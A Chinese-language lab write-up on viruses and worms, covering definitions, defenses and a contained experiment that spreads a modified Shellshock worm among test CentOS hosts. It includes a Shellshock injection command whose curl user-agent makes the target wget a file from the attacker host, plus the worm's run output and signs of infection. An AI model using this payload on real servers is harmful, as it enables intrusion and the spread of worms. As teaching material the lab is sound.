蠕虫实验
预备知识
计算机病毒
计算机病毒指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机正常使用并且能够自我复制的一组计算机指令。
特征:
繁殖性(判断是否是计算机病毒的首要条件)
传染性(判断是否是计算机病毒的重要依据)
隐蔽性
潜伏性
可触发性
表现性或破坏性
类型:
按其所依附分类:
- 网络病毒:通过计算机网络感染可执行文件的计算机病毒。
- 文件病毒:主攻计算机内文件的病毒。
- 引导型病毒:是一种主攻感染驱动扇区和硬盘系统引导扇区的病毒。
按计算机类型分类:
- 附带型病毒:通常附带于一个EXE文件上,其名称与EXE文件名相同,但扩展是不同的,一般不会破坏更改文件本身,但在DOS读取时首先激活的就是这类病毒。
(EG:exe文件给扩展为了JPG文件,打开JPG文件,运行原本exe程序)
- 蠕虫病毒:它不会损害计算机文件和数据,它的破坏性主要取决于计算机网络的部署,可以使用计算机网络从一个计算机存储切换到另一个计算机存储来计算网络地址来感染病毒。(本次实验对象)
- 可变病毒:可以自行应用复杂的算法,很难发现,因为在另一个地方表现的内容和长度是不同的。
传播途径:
- 移动存储设备
- 通过网络
- 点对点的通信系统、无线通信系统
- 来历不明的软件
防范:
- 安杀毒软件并常常更新360
- 及时更新补丁
- 官网下载软件
- 打开邮件谨慎(爱虫病毒:邮件主题是我爱你,打开一看原来是我爱你爱到让你电脑中毒)
- 不要随便浏览或登录陌生的网站
- 自己不用USB,将USB接口关了
- 电脑疑似中毒,断网
中毒后处理:
- 隔离
- 找源头
- 采取措施
- 修复数据
- 清除病毒
- 重启、恢复
蠕虫
蠕虫定义:一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。
计算机蠕虫与计算机病毒相似,是一种能够自我复制的计算机程序。
与计算机病毒不同的是,计算机蠕虫不需要附在别的程序内,可能不用使用者介入操作也能自我复制或执行。它是直接在主机之间的内存中进行传播的。计算机蠕虫未必会直接破坏被感染的系统,却几乎都对网络有害。计算机蠕虫可能会执行垃圾代码以发动分散式阻断服务攻击,令计算机的执行效率极大程度降低,从而影响计算机的正常使用;可能会损毁或修改目标计算机的档案;亦可能只是浪费带宽。(恶意的)计算机蠕虫可根据其目的分成2类:
一类是面对大规模计算机网络发动拒绝服务的计算机蠕虫。
另一类是针对个人用户的执行大量垃圾代码的计算机蠕虫。
特点:
- 较强的独立性(不依赖于宿主程序而独立运行,从而主动地实施攻击 就是不用你点扩展成JPG的文件触发,他自己就运行了)
- 利用漏洞主动攻击
- 传播更快更广(从实验可以看得出来)
- 更好的伪装和隐藏方式
- 与黑客技术相结合
- 使追踪变得更困难(灰指甲,一个传染两,问其谁传的,互相指对方)
入侵过程:
ShockWorm的蠕虫:
1.原蠕虫只感染一台主机,本实验蠕虫扩大了范围,使其真正拥有了蠕动性,可以自行传播(限制了蠕动范围)。
2.原蠕虫在感染主机后会修改系统文件,并且截获执行sudo命令时输入的口令。本实验蠕虫删除了此功能,在感染与完成传播之后,仅执行sleep操作。
实验目的
1)通过该实验了解蠕虫的基本特征
2)掌握蠕虫的传播方式及使用方法
3)能够改进蠕虫的功能
实验环境
蠕虫发起者:centos6.5,IP地址:10.1.1.231
Worm1:centos6.5(web服务器),1号被感染主机,IP地址:10.1.1.12
Worm2:centos6.5(web服务器),2号被感染主机 ,IP地址10.1.1.x(x随机)
实验:
任务一:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞;
任务二:蠕虫发起者执行蠕虫程序,感染1号主机Worm1;
任务三:观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染。
任务一:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞
1.使用ssh登录蠕虫发起者主机(10.1.1.231),执行下面三条命令。命令执行结果如下图所示。
[root@worm-master ~]# tail /var/log/httpd/access_log
[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi
[root@worm-master ~]# tail /var/log/httpd/access_log
2.根据最后一条命令的结果,蠕虫发起者主机(10.1.1.231)的web日志中出现了worm1的访问记录,说明worm1主机(10.1.1.12)存在破壳漏洞。
任务二:蠕虫发起者执行蠕虫程序,感染1号主机Worm1:
1.为了避免自身被感染,向蠕虫表明自己是发起者的身份,我们需要登录10.1.1.231主机,通过下面的命令创建一个文件。
[root@worm-master ~]# touch /tmp/key.txt
2.继续在10.1.1.231上执行下面的命令,可以找到蠕虫程序。
[root@worm-master shockworm]# cd /root/shockworm/
[root@worm-master shockworm]# ls
Shellshock.pl
3.登录worm1,查看/tmp目录。
[root@worm-test1 tmp]# ls -al
total 12
drwxrwxrwt. 3 root root 4096 Oct 8 09:12 .
dr-xr-xr-x. 24 root root 4096 Oct 8 07:50 ..
drwxrwxrwt. 2 root root 4096 Oct 8 07:49 .ICE-unix
-rw-------. 1 root root 0 Jan 9 2014 yum.log
4.继续返回10.1.1.231主机,执行下面的命令,来运行蠕虫程序。
[root@worm-master shockworm]# perl shellshock.pl
local ip is 10.1.1.231
targetIP is 10.1.1.12...
Done!
5.登录Worm1,执行下面的命令,观察被感染的特征。
多了.ssh-m0Tc45gfXwPj
[root@worm-test1 tmp]# ls -al
total 16
drwxrwxrwt. 4 root root 4096 Oct 8 09:36 .
dr-xr-xr-x. 22 root root 4096 Oct 8 07:50 ..
drwxrwxrwt. 2 root root 4096 Oct 8 07:49 .ICE-unix
drwxr-xrwx. 2 apache apache 4096 Oct 8 09:36 .ssh-mOTc45gfXwPj
-rw-------. 1 root root 0 Jan 9 2014 yum.log
看看.ssh-m0Tc45gfXwPj有啥
[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/
agent.1336 agent.1337
[root@worm-test1 tmp]# ps aux | grep agent.1337
apache 1642 0.0 0.4 33884 4420 ? S 09:36 0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337
root 2219 0.0 0.0 103248 892 pts/0 S+ 09:42 0:00 grep agent.1337
通过对比/tmp目录可以发现,Worm1已经被感染了shockworm蠕虫程序
任务三:观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染
1.登录Worm1(10.1.1.12),不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程,被感染的Worm1通过agent.1337进程,不断的向同网段的其他主机发起攻击与感染。如下所示:
[root@worm-test1 tmp]# ps aux | grep curl
可以看出,蠕虫正在攻击10.1.1.145、10.1.1.151和10.1.1.157
登录Worm2。同样使用命令:”ls -al /tmp”查看,可以发现主机也被此蠕虫感染